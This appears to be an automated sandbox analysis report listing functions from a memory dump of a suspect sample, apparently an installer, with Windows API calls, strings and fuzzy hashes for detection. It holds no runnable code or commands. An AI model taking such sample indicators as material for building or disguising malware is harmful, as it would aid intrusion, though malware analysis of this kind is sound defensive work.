Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80d9f82be1df20bea4bda2ddf62e78e73402095b5a0dc2f77f9252dc1d414a1e
Instruction ID: a637693d169c62d5259775df37b7f6f5e0725aa910bab3ddcf158c840e1703cc
Opcode Fuzzy Hash: 80d9f82be1df20bea4bda2ddf62e78e73402095b5a0dc2f77f9252dc1d414a1e
Instruction Fuzzy Hash: E9C1A074E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809BB365DB359A85CF10

Function 3838E339 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ee9bad6c6ce89063229c269ec8912ae37ab02795d948c13f7403ad77dfb234
Instruction ID: d93d82c262fae851d51603e1b9ef6129a9f2c0db15be6fafa581f2ec376013df
Opcode Fuzzy Hash: 44ee9bad6c6ce89063229c269ec8912ae37ab02795d948c13f7403ad77dfb234
Instruction Fuzzy Hash: C8C1A074E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB365DB359E85CF11

Function 3838BD9C Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b26b36b65c3bd65cb4050fc4770ebbb254e622af35db5159b3b186e5d4809d3
Instruction ID: bf27a8e1f1d8ece4052969cf5999ce70fc0763f13748b49f04f4d30c94a11258
Opcode Fuzzy Hash: 0b26b36b65c3bd65cb4050fc4770ebbb254e622af35db5159b3b186e5d4809d3
Instruction Fuzzy Hash: F4C19F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB365DB359E85CF10

Function 38EDCBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6598ef2fbb971e3f209331243cba89847c8606fb7e815cee0dbb4cd2d274e7e3
Instruction ID: e62e7c8dffbbac60e6870811cddbe674c39da66b42c2c4236016fdb3c34ac063
Opcode Fuzzy Hash: 6598ef2fbb971e3f209331243cba89847c8606fb7e815cee0dbb4cd2d274e7e3
Instruction Fuzzy Hash: C9D09E79D5422C9ACB11DF64D8506ECB770FF99340F0024E5C14CA7210D7749E99DA56

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

N, xrefs: 00404452
open, xrefs: 004044C5
-B@, xrefs: 004044C2

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
.exe, xrefs: 004039AC
.DEFAULT\Control Panel\International, xrefs: 0040390A
_Nb, xrefs: 00403A22, 00403A8A
RichEdit20W, xrefs: 00403AEA, 00403AF0
RichEd20, xrefs: 00403ACC
RichEdit, xrefs: 00403AF9
RichEd32, xrefs: 00403ADA

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77
%ls=%ls, xrefs: 00405DF1

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

Inst, xrefs: 00402ED3
Null, xrefs: 00402EE5
(*B, xrefs: 00402E7C
soft, xrefs: 00402EDC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Error launching installer, xrefs: 00402E3E

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

... %d%%, xrefs: 0040316E
jA, xrefs: 004031F1
jA, xrefs: 004030E7

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
